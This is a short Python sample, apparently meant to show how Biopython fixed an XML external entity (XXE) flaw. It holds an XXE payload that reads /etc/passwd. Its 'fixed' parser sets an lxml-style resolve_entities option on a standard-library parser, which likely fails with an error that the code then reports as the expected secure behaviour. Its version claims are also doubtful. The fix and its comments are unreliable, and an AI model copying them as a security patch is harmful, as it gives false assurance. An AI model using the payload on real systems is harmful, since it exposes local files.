Patched code sample

import io
import xml.etree.ElementTree as ET

# This example demonstrates the principle of the fix for an XXE vulnerability.
# The vulnerability in Biopython was that its XML parser did not disable
# external entity resolution. The fix involves explicitly creating a parser
# that is configured to be secure.

# A malicious XML payload attempting an XXE attack to read a local file.
# The DOCTYPE declares an external entity 'xxe' that points to '/etc/passwd'.
# The <data> tag then tries to reference this entity.
XXE_PAYLOAD = """<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
"""

def vulnerable_parse(xml_string):
    """
    Represents the vulnerable parsing method.
    The default parser in some older Python versions or configurations might
    resolve external entities, leading to the XXE vulnerability.
    """
    print("--- Running Vulnerable Parser ---")
    try:
        handle = io.StringIO(xml_string)
        # The vulnerability lies in using the default parser without hardening.
        tree = ET.parse(handle)
        root = tree.getroot()
        print("Parsed content:", root.text)
    except Exception as e:
        print(f"An error occurred: {e}")
    print("-" * 29 + "\n")


def fixed_parse(xml_string):
    """
    Represents the fixed parsing method.
    This is how Biopython fixed the vulnerability: by ensuring the XML parser
    used will not resolve external entities.
    """
    print("--- Running Fixed Parser ---")
    try:
        # THE FIX: Create an XMLParser with resolve_entities set to False.
        # This is the standard way to prevent XXE attacks in xml.etree.ElementTree.
        # Note: In modern Python versions (3.7.1+, 3.6.8+), resolve_entities
        # is deprecated and entity expansion is disabled by default. However,
        # explicitly creating a secure parser is the most robust fix.
        # The underlying defusedxml library is often used for even stronger guarantees.
        # For this standard library example, we create a parser instance.
        parser = ET.XMLParser()
        parser.resolve_entities = False

        handle = io.StringIO(xml_string)
        # Pass the secure parser to the parse function.
        tree = ET.parse(handle, parser=parser)
        root = tree.getroot()
        print("Parsed content:", root.text)
    except Exception as e:
        # In the fixed version, the parser raises an error when it encounters
        # the forbidden external entity.
        print(f"An error occurred (as expected for a secure parser): {e}")
    print("-" * 29 + "\n")


if __name__ == "__main__":
    # On a vulnerable system, this would print the contents of /etc/passwd.
    # On a patched system, this will fail or print nothing.
    # Note: Modern Python versions have protections, so the "vulnerable"
    # function might not work as it would have on older, unpatched systems.
    # The demonstration is to contrast the code patterns.
    vulnerable_parse(XXE_PAYLOAD)

    # This will always be safe and will raise an error because it's
    # configured not to process external entities. This demonstrates the fix.
    fixed_parse(XXE_PAYLOAD)